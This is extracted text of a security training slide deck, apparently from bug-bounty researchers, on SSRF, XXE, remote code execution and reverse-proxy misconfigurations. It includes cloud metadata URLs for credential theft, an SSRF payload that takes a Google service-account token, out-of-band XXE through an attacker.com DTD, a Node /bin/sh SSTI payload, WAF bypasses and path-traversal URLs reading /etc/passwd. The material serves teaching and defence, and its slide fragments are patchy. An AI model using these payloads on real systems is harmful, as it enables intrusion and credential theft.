Demystifying The Server Side
Demystifying The Server Side
Demystifying The Server Side
Scheme:
● HTTP
● File
● http://<sub.domain.tld>:<port>/
● http://<user>:<pass>@<sub.domain.tld>/path1/path2
● http://<user>:<pass>@<sub.domain.tld>/path?q1=a&q2=b
● http://<user>:<pass>@<sub.domain.tld>/path?q1=a&q2=b#URL Fragment
● file:///etc/passwd
● file:///home/user/.ssh/id_rsa
● file:///c:/WINDOWS/win.ini
SSRF, Making the cloud rain
AGENDA
• Introduction to SSRF
● The attacker forces the application to make an HTTP request back to the server that is hosting the
application.
● Supplying a URL with a host like 127.0.0.1 or localhost.
● URL comes from the local machine itself & the normal access controls are bypassed
Types of SSRF
● AWS
• If an attacker is able to determine the underlying
• http://169.254.169.254/metadata/v1/* cloud infrastructure he will easily be able to grab the
● Google Cloud
AccessKeyId, SecretAccessKeys, private address,
hostname, public keys, subnet ids, and more from the
• http://metadata.google.internal/computeMetadata/v1/* API.
● DigitalOcean
• http://169.254.169.254/metadata/v1/* • Pulling the IAM role secret keys will give him API
● Docker access to that AWS account and control over the
infrastructure.
• http://127.0.0.1:2375/v1.24/containers/json
● Kubernetes ETCD
• http://127.0.0.1:2379/v2/keys/?recursive=true
● Alibaba Cloud
• http://100.100.100.200/latest/meta-data/*
● Microsoft Azure
• http://169.254.169.254/metadata/v1/*
SSRF
CASE STUDIES
AND LABS
Case Study
SSRF
Vimeo API Playground
Vimeo provides their developers an easy to test and play around their Rest API. For such purposes, Vimeo provides an API
console at https://developers.vimeo.com/.
The purpose of this console is to make it simpler to test API endpoints as such all you’d need to do it
So backend will supposedly make a request to https://api.vimeo.com/users/12345 and will parse the JSON response and echo
So it seems like we have control over the API endpoint to make request to via the parameter `uri`. However changing it to
anything other than specified path resulted in a 403.
Abusing the feature… Hmmm what now?
However we do have another input in API endpoint path via the segments parameter in the Rest API. Segments value act as
placeholder to be used in the `uri` parameter
This should make a request to https://api.vimeo.com/users/../ and if there’s no URL encoding on segments input, This path on
normalization by HTTP library will make request to https://api.vimeo.com/
And.. Response from the root of the API.
But but we’re still on api.vimeo.com host
Make open redirects great again!
The plan is to find an open redirect and as I already figured this was following redirects, we could simply redirect to an
internal host like cloud (Google) metadata API.
Good old content discovery
A bit of content discovery and I come across a limited redirect on https://api.vimeo.com/ which could make redirect to
https://vimeo.com/ with my controlled path & query parameters. And 2 years on hacking, I already had saved plenty of open
{..,"method":"method":"GET","uri":"/users/{user_id}","segments":"{\"user_id\":\"../../m/path/to/open/redirect?url=
https://rce.ee/attacker.json\"}",...}
Final Payload to steal service account token from Google Metadata API
{"method":"GET","uri":"/users/{user_id}","segments":"{\"user_id\":\"../../m/path/to/open/redirect?url=http://metadata.google.internal/
computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json\"}"}
Response:
{"headers": [ "HTTP/1.1 200", "Content-Type: application/json", "Host: api.vimeo.com" ], "code": 200, "body”: { "access_token":
"ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA", "expires_in": 2631, "token_type": "Bearer" } }
● Find HTTPS hosts those don’t point to internal IP’s but are accessible for employees only. Sounds familiar? VPN only
access hosts?
Let the recon begin
● Subdomain enumeration
● Multiple hosts resolving to either internal IP’s or external IP’s but none were reachable.
● Cause jenkins continuously works with prod server so probably in same VPC.
● Makes sense to use SSL here.
● Generally critical part of Infra - reaching it
would show good impact.
Key takeaways
AGENDA
• XML & XXE Basics
● Can denote special markup, such as the <(<) and >(>) tags
● General Entities
● Parameter Entities
○ Can be summoned by %entity_name; even inside the DOCTYPE definition as well as inside other entities
(Nested Entities)
TYPES OF ENTITIES
● XML external entity injection (also known as XXE) is a web security vulnerability that allows an
attacker to interfere with an application's XML parser.
● XXE vulnerabilities arise because the XML specification contains various potentially dangerous
features, and XML parsers support these features even if they are not normally used by the
application.
● An attacker can escalate an XXE attack to compromise the underlying server or other back-end
infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF)
attacks or an arbitrary file read.
● Initially try replacing text node with general entities in the XML body and check if response is still
the same which confirms entities
are substituted.
● Construct an XML request with a SYSTEM/PUBLIC entity keyword pointing to Burp Collaborator
URL & check for the hits
● If the request body is accepting JSON, convert JSON to XML and check the response if its parsing
and returning Normal/200 OK responses
● Convert Content-Type from application/json to text/xml or application/xml etc. and check if any
kind of XML parsing happens
XXE: COMMON TECHNIQUES
InBand XXE: Ability to read any local resources on the vulnerable server in the response itself.
Optional
XML XML Declaration
Declaration Header Part
Declaring a dummy !DOCTYPE Element
Creating an External
Entity “xx” referencing to
“hosts” file location
● Out-Of-Band XXE: Ability to exfiltrate any local resources on the vulnerable server to an attacker controller server.
OUT-OF-BAND XXE #1
2.
3.
We can extract any file say /etc/hosts over FTP since Java disallowed sending illegal characters(\r\n etc.) in HTTP
request from Java 1.5
5.
OUT-OF-BAND XXE #2
In the Latest JAVA Version even FTP doesn’t allow sending illegal characters anymore. However, when server errors
are enabled, we can use Server Errors to throws the file contents in the error.
xxe.dtd Contents
Doing this should send the file contents to attacker’s FTP server
BUT?? LIMITATION?
WHAT IF THERE IS AN EGRESS FILTERING?
http://attacker.com/
xxe.dtd
OUT-OF-BAND XXE #3
▪ SSRF on Domain/Subdomain
2. Install a local copy of the Identified server(Tomcat) or check source on Github etc. if open source and look/search
for existing DTD files manually or use the following repo which lists DTD files present on some very popular and
common applications
https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files.txt
https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files_jars.txt (JAR Files containing DTDs)
3. Based on the list above if you are able to confirm the existence of a DTD file or a JAR file containing DTDs on
Tomcat’s local copy next step is to confirm its presence on the target server
EXPLOITING LOCAL DTDs
EXPLOITING LOCAL DTDs
4. The identified JAR file containing DTD(s) “/usr/local/tomcat/lib/jsp-api.jar” exists on the server as no file system errors
were thrown
EXPLOITATION
5. JAR file is nothing but an archive; on your local copy you can extract it
6. Based on the previous list we can see jspxml.dtd is present in /javax/servlet/jsp/resources/ directory inside jsp-api.jar
archive on our machine
EXPLOITATION
7. To access content inside JAR files we need to have support for “jar” protocol which is available in JAVA based servers
Syntax:
jar:<protocol>://<host>/path/file.jar!/path/dir1/dir2/file.dtd
jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
EXPLOITATION
Definition of Body
parameter entity
9. In our XXE payload we can include this local DTD and rewrite Body entity
10. The Contents of overwritten entity would be substituted here so simply balance the
<!ELEMENT jsp:root {{HERE}} >
Body entity is
substituted here
EXPLOITATION
test123
- Summary:
- Next:
- Insert properly HTML encoded XML payload same as the one we used in
OOB FileNotFoundException trick
EXPLOITATION
2.
1.
3. 4.
Contents of /etc/passwd listed
5.
EXPLOITATION
2.
1.
3. 4.
Contents of /etc/passwd listed
5.
WAF BYPASS
Usually "SYSTEM" keyword is blocked by many WAFs, In such case you can use "PUBLIC" keyword as an
alternative which has helped to bypass WAFs and Exploit XXEs as SYSTEM and PUBLIC are practically synonyms
● Using "PUBLIC" Parameter Entities
and then you can put the content of XML as of UTF-16 character set which would not be detected by WAFs.
WAF BYPASS
● Tampering with doctype/entity names (XXE payloads):
● WAF Bypass
○ Use “%25” instead of “%”
○ Add a whitespace character before protocol after SYSTEM/PUBLIC keyword
○ Instead of % use % or %26%2337%3b in URL encoded form
Remote Code Execution
Nailing the shell
AGENDA
• Basics of Remote Code Execution
● Result of exploiting any other vulnerability class; Such as injections (OS Command injections, SSTI), other server side
misconfigurations
Observations
**Highly redacted**
Abusing a feature to gain RCE
● Can’t overwrite phantomjs binary itself as it won’t be overwritten with executable flag
● A javascript file at a static path on the filesystem was passed as the first argument to the phantomjs binary
● Since PhantomJS supports OS level API’s in Javascript it is possible to spawn our own OS process
● Chain the previous Arbitrary file write to overwrite the js file that was getting executed by phantomjs
● Next time PDF is generated attacker controlled server side javascript is ran
● Pop shell! Get bounty!
Overwriting the JS file
Send request to generate PDF
And our command executed ;) *This is not actual PoC*
REMOTE CODE
EXECUTION CASE
STUDY
Remote Code Execution via Debug Mode
App secret leak
● Cookies are signed using a secret token stored in rails app configuration
● A leaked app secret could be used to sign a malicious cookie and lead to escalated access depending on the
application functionality/configuration
● Cookies in rails are serialised generally in two formats, JSON & Marshal.
Marshal serialization format
● Manipulate the Payload part of the Cookie and replace it with a Crafted Marshalled Object
● UnMarshalling is done on the Cookie and a specific Gadget is called resulting in RCE
Rails RCE Deserialization gadget chain
RCE via Crafted Cookies
Remember this?
REMOTE CODE
EXECUTION CASE
STUDY
Remote Code Execution via SSTI (Lodash)
Server Side Template Injection
● A template engine is used to process templates which allows defining placeholders that should later on be replaced
for the purpose of implementing designs
● User input dynamically used to construct templates can lead to Server Side Template Injections
● Since templates allows to access OS level APIs this could lead to file system access or potentially RCE.
SSTI Detection
● Verbosity of error
● Had some example Email messages with ${first.name} syntax in the greetings
● Node bindings are mapping to some of native C++ code that NodeJS works upon
https://github.com/nodejs/node/blob/master/src/spawn_sync.cc
Lodash SSTI via Email Templates
process.binding("spawn_sync").spawn({“file”:”/bin/sh”,”args”:[“/bin/sh”,”-c”,”..”], “stdio”:[{stdin...},
{stdout...}]}).output
Boom! P1 in 5 minutes xD
Reverse Proxies
Your entrypoint to hack a multi-layered architecture
AGENDA
• Basics of Reverse Proxy
Response is served back to user via reverse Backend server sends response back via reverse
proxy proxy
User makes a HTTP request which hits the Reverse proxy process and passes the request to
reverse proxy backend server
Client
Reverse Proxies in a nutshell
● Based on a URI Path/Host Header’s prefix/suffix/regex the request is proxied to another Host (Backend)
● SSRF
● A lot more..
Nginx As A Reverse Proxy
Nginx as a Reverse Proxy
● URL decodes once & normalizes the path e.g. /../, %2f..%2f etc. (/.. is not normalized) before matching location rule
● doesn't allow %2f as the first slash and //// (multiple slashes) becomes /
● if root trailing '/' is missing in proxy_pass argument, unprocessed raw path is sent as is
Nginx as a Reverse Proxy
Example Rule #1
server {
Any HTTP request to Nginx server with path /app1<anything here> would be proxied to http://internal.app
/<anything here>
Nginx as a Reverse Proxy
Example Rule #2
server {
location ~ ^/app2/(.*\.jpg)$ { # Matches any file ending with .jpg in /app2/ directory
proxy_pass http://internal.app/app2/$1; # passes the match here ($1)
}
}
Any HTTP request to Nginx server with path /app2/<anything>.jpg would be proxied to http://internal.app
/app2/<anything>.jpg
Nginx Path Traversal Misconfiguration #1
server {
}
}
Exploit Example:
http://site.com/api../internal-api/users would match the prefix rule “/api” and route it to http://internal.app/public-
api/../internal-api/users which becomes http://internal.app/internal-api/users
Nginx Path Traversal Misconfiguration #2
server {
location /static {
alias /home/app/static/;
}
}
“alias” directive in Nginx allows to load files directly from a directory on the server’s local filesystem, usually used
for loading static contents.
server {
}
}
Exploit Example:
Example Rule #1
Apache-default.conf:
<VirtualHost *:80>
ProxyPreserveHost On
ProxyPass /app http://internal.app/
</VirtualHost>
Any HTTP request to Apache server with path /app/<anything here> would be proxied to http://internal.app
/<anything here>,
Apache as a Reverse Proxy
● URL decodes once & normalizes the path before matching location rule
● //// (multiple slashes) becomes / if it’s in the beginning eg. ///path/ => /path
Apache-default.conf:
<VirtualHost *:80>
ProxyPreserveHost Off
ProxyPassMatch "^/img(.*)$" "http://static-images.storage.googleapis.com$1"
</VirtualHost>
Apache SSRF Misconfiguration
Apache-default.conf:
<VirtualHost *:80>
ProxyPreserveHost Off
ProxyPassMatch "^/img(.*)$" "http://static-images.storage.googleapis.com$1"
</VirtualHost>
Any request with path /[email protected]/ or /img.evil.com/ would now allow to make arbitrary server side HTTP
requests to evil.com via reverse proxy.
Different Servers In Conjunction
Path Parameters in Java based Servers
● https://tools.ietf.org/html/rfc6570#page-25
Path Parameters in Tomcat
Example:
“/xyz;test=1/index.jsp” would become “/xyz/index.jsp”
“/xyz;/index.jsp” would become “/xyz/index.jsp”
server {
location /app/ {
proxy_pass http://internal.app:8080/public/;
}
}
Any HTTP request to Nginx server with path /app/<anything here> would be proxied to the Tomcat server running
on local interface at http://internal.app:8080/public/<anything here>
Nginx/Apache Reverse Proxy + Tomcat Backend Misconfiguration
Examples:
- http://site.com/app/ would match the rule “/app/” and proxy it to http://internal.app:8080/public/ internally
● Suppose there exists an unauth internal API/path/file or say Tomcat Manager running with default credentials
on the Tomcat server.
● http://site.com/app/../ would be processed by Nginx to “/” and will look for the rule “/” instead of “/app/”
Exploit:
http://site.com/app/..;/secretapi/users
http://site.com/app/..;/manager/html
Nginx/Apache Reverse Proxy + Tomcat Backend Misconfiguration
NGINX Processing:
● “/app/..;/” means nothing special to Nginx and “/..;/” is just another directory name for Nginx so no
Normalization happens
Tomcat Processing:
● URL decodes & Removes path parameters hence ..;/ becomes ../
● Normalizes path - Resolves /../ and we’re one directory back, that is root path of the host and finally now the
new path is /secretapi/users
nginx.conf:
server {
location / {
proxy_pass http://apache.internal;
}
location /protected/ {
deny all; return 403;
}
}
Exploit Example:
http://apache.internal/protected//../
Nginx + Apache Misconfiguration
How?
Missing trailing slash
Environment:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
ajp://localhost:8009/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
References
All of this is read from a lot of resources here’s few we could think of. There’s way too much to read at these blogs. If you feel like you’re not credited, please
reach at @rootxharsh or @iamnoooob
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://github.com/GoSecure/dtd-finder
https://2018.zeronights.ru/wp-content/uploads/materials/20-Reverse-proxies-Inconsistency.pdf
https://fr.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/
https://www.elttam.com/blog/ruby-deserialization/
https://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/
https://www.scribd.com/document/457677157/Attacking-Secondary-Contexts-in-Web-Applications
http://portswigger.net/
HACK THE PLANET!!!